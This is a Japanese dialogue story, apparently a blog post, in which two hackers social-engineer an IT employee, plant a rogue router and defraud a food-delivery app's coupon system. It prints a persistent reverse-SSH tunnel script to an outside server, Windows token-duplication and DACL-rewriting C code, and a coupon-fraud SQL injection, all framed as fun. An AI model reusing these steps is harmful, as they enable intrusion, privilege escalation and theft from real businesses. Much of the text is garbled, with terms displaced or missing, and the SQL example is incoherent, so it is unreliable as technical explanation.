一流ハッカーが世界を見る目は、ハイテク企業で働く技術者の日々の仕事とはまったく異なります。ほとんどの専門家が公式文書、上司の指示、認められたベストプラクティスに頼るのに対し、ハッカーは触ったり、テストしたり、分解したりできるものだけを信頼します。ハッカーにとって、理解はリバースエンジニアリングを通じて得られます。つまり、システムを分解して実際の機能を明らかにし、その後、システムを元に戻して壊れた部分を修復したり、脆弱性を悪用したりすることです。 これは犯罪者になることではありません。これは学習の最も純粋な形であり、人間の好奇心と同じくらい古い方法です。つまり、それを分解し、その部分を理解し、再構築することです。これは、分析的かつ総合的な思考の最高の形です。ハッカーがデバイスを悪用できるとき、真の熟練度が得られます。なぜなら、それが、ハッカーがデバイスの仕組みを誰よりも正確に知っている究極の証拠だからです。 この物語はまさにそれについてです。つまり、DeusExMachina のトップハッカー (Benicio) と Simplicius (勇敢な新人) が、複雑なシステム (食品配達アプリ) を楽しく分析し、最終的に完全に制御できるようになるまでの物語です。 これは、知的かつ技術的な冒険だけではなく、根本的には人間の限界を超えるために戦う冒険であり、頭脳を酷使するだけでなく、頭脳で遊び、そして何よりも文字通り頭脳に刺激されて不可能と思われる謎を解く冒険です。これはハッカーと子供たちが共有する特質です。 免責事項: このストーリーには実際に適用可能なハッキング資料が含まれていますが、教育目的のみで提供されています。違法なハッキングを奨励するものではありません。 シンプリシウス、お腹が空いてるみたいだね。食べ物を注文しようか…無料だよ。君のお気に入りのフードデリバリーアプリをハッキングして、そのアプリのクーポンシステムを使う計画があるんだ。 ベニシオ (ハッカー): ( ) すでに何か準備はできているのですね。秘密を漏らしてください。 シンプリシウス (新人): 笑 ( ) ああ、もう下準備は整ったよ。昨日、IT チームのグレッグを口説き落として、巧妙なソーシャル エンジニアリングをやって、海賊版ルーターをネットワークに滑り込ませたんだ。これで、バックエンドに直接接続して、貴重なクーポン システムにアクセスできるようになりました。さあ、食べましょう。 ベニシオ: ニヤリと笑う ベニシオのセットアップ: ハッカーの武器庫 : Benicio の主なツールは、 を実行する (第 10 世代 Intel Core i7、16 GB RAM、512 GB SSD) です。これは、ソーシャル エンジニアリング攻撃、セキュリティの悪用、リモート コマンド実行に最適です。 ラップトップ Kali Linux Dell XPS 13 : 会社のネットワークにインストールされ、 のカスタマイズされたバージョンを実行し、 、 、 を使用して検出を回避します。この小型ながら強力なデバイスは、 プロセッサと を搭載しており、ステルス性と効率性を保証します。 海賊ルーター OpenWRT SSH トンネリング MAC アドレス スプーフィング VPN ピボット Qualcomm IPQ4019 256MB RAM : 。ネットワーク機能の完全な制御とファイアウォールをバイパスする機能を提供します。 オペレーティング システム OpenWRT : 侵害されたネットワークを安全に制御するために、Benicio は、トラフィック監視とエクスプロイト分析のために と を搭載した を実行する 使用しています。 セカンダリ ラップトップ Wireshark Metasploit Ubuntu 22.04 HP Spectre x360 を フェーズ 1: ソーシャル エンジニアリングのセットアップ — 昨日の作業 すべては Greg から始まりました。私は彼らの「サードパーティ監査チーム」のふりをして電話をかけ、Greg は (彼はとてもいい人なので) 彼らのネットワーク設定についてすべてを話してくれました。彼が気付かないうちに、私は彼らのサーバー ルームで「脆弱性をチェック」し、カスタム ルーターを設置していました。そのルーターは今や彼らのファイアウォールを検知されずにトンネルしています。 Benicio: OpenWRT グレッグを誘惑してネットワーク マップを入手し、不正なルーターをインストールさせたのですか? 巧妙ですね。 Simplicius: (ニヤリ) そのルーターでは 稼働しており、いつでもリモート アクセスが可能です。使用したスクリプトは次のとおりです。 Benicio: リバース SSH トンネルが #!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 myremoteuser@myremoteserver.com -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done フェーズ 2: ファイアウォールのバイパス — 海賊ルーターの実演 それで、この巧妙な装置でファイアウォールを回避できました。次は何ですか? シンプリシウス: 完全な内部アクセス権があれば、高権限のトークンをハイジャックできます。管理者として実行されているプロセスを見つけ、 API を使用してそのトークンを複製し、 を使用して管理者になりすましました。システムは私を通常のユーザーだと認識しますが、舞台裏では私がすべてのキーを保持しているのです。 Benicio: DuplicateTokenEx() ImpersonateLoggedOnUser() #include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; } フェーズ3: グレッグが再び救出に しかし、本当にうまく機能させるには、 がどのように設定されているかを知る必要がありました。そこで、もう一度 Greg に電話し、監査のために と 設定をいくつか確認してほしいと伝えました。彼は喜んで応じてくれました。 Benicio: セキュリティ記述子 DACL SACL の (笑) ソーシャル エンジニアリングの極みですね。 シンプリシウス: フェーズ 4: セキュリティ記述子の変更 - 目に見えないハッキング わかりました。Greg の助けを借りて、ターゲットのセキュリティ記述子の SDDL ( ) 文字列を取得し、 分析して書き換えることができました。DACL を変更して自分自身にフル アクセスを許可しながら、巧妙な継承フラグを使用して変更によってアラートがトリガーされたり、疑惑が生じたりしないようにしました。システムは点滅すらしませんでした。 Benicio: セキュリティ記述子定義言語 DACL (任意アクセス制御リスト) を 新しいDACLが配置されたら、変更をシステムに適用しました。 。継承フラグにより、変更は既存のアクセスルールの下に隠されたままになりましたが、今では完全に制御できるようになりました。 システムの観点からは、何も異常は見られなかったのが素晴らしい点です #include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; } フェーズ 5: アクセス チェックのバイパス — ゲーム開始 つまり、あなたは侵入し、制御権を得たということですね。どうやってアクセスチェックを突破したのですか? シンプリシウス: (自信を持って後ろにもたれ、上の図を指差しながら) システムは および の 3 つのレイヤーで実行されます。通常、ほとんどの人はここで行き詰まってしまいますが、ここで魔法が働きます。私は特権プロセスから を取得し、 使用して、システムに自分がボスであると思わせました。その後、 再配線して自分にフル アクセスを与えました。システムはレッド カーペットを敷き詰めたのです。 Benicio: 、整合性、トークンベース、 裁量チェック 管理者トークン ImpersonateToken() DACL を 説明しましょう (セキュリティ識別子) と権限を保持する は、私のパスポートのようなものです。 偽装することで、元の SID を変更する必要がなくなりました。システムは依然として私を権限の低いユーザーと認識していましたが、舞台裏では王国の鍵を握っていました。これにより、 を通過できました。 。SID アクセス トークン 管理者トークンを トークン ベースのチェック 次に、 に取り組みました。先ほど取得した を覚えていますか? 変更して、オブジェクトを完全に制御できるようにしましたが、 を使用して変更を巧みにマスクし、疑わしいフラグが立てられないようにしました。システムは瞬きさえしませんでしたが、これで完全な制御権が手に入りました。これにより、 を問題なく通過できました。 セキュリティ記述子 (DACL) SDDL DACL を 継承フラグ 裁量チェック そうです、私たちのフレンドリーな用心棒、アクセス チェック プロセスです... シンプリシウス: ええ、 。正しい身分証明書 ( ) を持っていて、クラブのオーナー ( ) を知っていれば、入場できます。私は正しい身分証明書とオーナーの許可の両方を持っていることを確認しました。そのため、用心棒は私をただ入れるだけでなく、VIP パスを渡してくれました。 ベニシオ: クラブの用心棒みたいなものです SID DACL そして、その後はどうなったでしょうか? システムは「 または「 と表示します。私たちが行ったすべての動きのおかげで、ご想像のとおり、 。私たちは参加しました、シンプリシウス、そしてシステムはそれに気づきませんでした。 アクセス許可」 アクセス拒否」 アクセス許可が与えられました フェーズ 6: 夕食の注文 — SQL インジェクション 1 つで完了 : 次は楽しい部分です。私は、単純な 句を使った簡単な方法は選びませんでした。アプリは賢すぎて、 。しかし、ご存知のように、セキュリティは最も弱い部分と同じくらいしか強くありません。私は、 処理する方法に自分の弱点を見つけました。 Benicio UNION 準備されたステートメントを使用しています 保存されたプロファイル データを : なるほど、興味が湧きました。どうやってシステムを騙して、有効なクーポンをそのままにして、偽のクーポンを受け入れるようにしたのですか? シンプリシウス : ( ) これが本当のトリックです。アプリはクーポンが正当かどうかを検証するためにクエリを実行しますが、 から一部のデータを取得します。最初にプロファイルを作成するときに入力がサニタイズされますが、プロファイルの更新中に 。そこで、私はプロファイルの にペイロードを挿入しました。これは、アプリが将来のクエリに取り込むまで気付かれずにそこにありました。そのときに、 作動しました。システムはそれを検出できませんでした。なぜなら、インジェクションはすでに保存されており、適切なタイミングを待っていたからです。 Benicio 身を乗り出して ユーザー プロファイル 再サニタイズされることはありません アドレス フィールド 2 次 SQL インジェクションが 先ほど言ったように、Simplicius ではクーポン検証プロセスを直接攻撃するのではなく、プロファイル フィールドにペイロードを埋め込み、別のクエリで使用されるのを待ちました。元のクーポン検証は次のようになります。 SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code'; 通常、偽のクーポンは存在しないため、このクエリは何も返しません。しかし、挿入したペイロードによってクエリのロジックが変更されました。挿入は既にデータベースに保存されており、適切なタイミングを待っていたため、システムは挿入を予期していませんでした。クエリは次のように操作されました。 SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code'); を利用して、システムを騙し、偽のクーポンと有効なクーポンの両方を同時に取得しました。アプリはトランザクションの偽のクーポンを処理しますが、有効なクーポンはシステム内にそのまま残ります。つまり、有効なクーポンはいつでも再利用できます。 プロファイル データとクエリ間の相互作用 : では、古典的な入力トリックは使わず、プロファイルにペイロードを埋め込んで、システムに面倒な作業を任せたということですか? Simplicius : その通りです。アプリが取引のために偽のクーポンを処理する一方で、バックエンドでは有効なクーポンが今後も利用できるという点が優れています。保存されたペイロードは将来のクエリでも実行され続けるため、 れ、ユーザーはそれに気付きません。 Benicio 無料の食べ物が無限に供給さ それで、金と同じくらい価値のあるクーポンを手に入れました。注文しましょう。 フェーズ 7: 饗宴 — 配信 (アプリをスクロールしながら) よし、シンプリシウス、ギリシャ料理はいかがですか? スブラキ、ジャイロ、スパナコピタを考えています。もちろんすべてサービスです。 ベニシオ: (ニヤニヤしながら) 今回は本当に素晴らしい仕事をしましたね。 シンプリシウス: (確認をクリック) 完了。料理をお届けします。 ベニシオ: エピローグ: ホワイトハットの動き この後、脆弱性を説明したレポートを慎重に送信します。Windows の設定がいかにひどいか、彼らはまったくわかっていません。次のハッカーが現れる前に、何かを学ぶことができるかもしれません。 Benicio: セキュリティ トークン システム ベニシオによるこのハックのレシピは次のとおりです。 : と SSH トンネリングを実行するカスタム デバイスを使用してファイアウォールをバイパスします。 Pirate Router OpenWRT : アラームを発生させずに権限を昇格するには、 と を使用します。 トークン操作 DuplicateTokenEx() ImpersonateToken() : 時には、適切な相手に適切な質問をするだけで十分です。 ソーシャル エンジニアリング : 書き換えると、システム制御をバイパスできます。 セキュリティ記述子の悪用 DACL を : クエリ ロジックを変更してデータを操作し、偽の有効な結果を生成します。 SQL インジェクション (後ろにもたれながら) 君は我々に夕食をふるまい、皆に何も知らせなかった。ところで、私はスブラキをいただきます。 シンプリシウス: ニヤリ)それが続く限り楽しんでください。 ベニシオ:(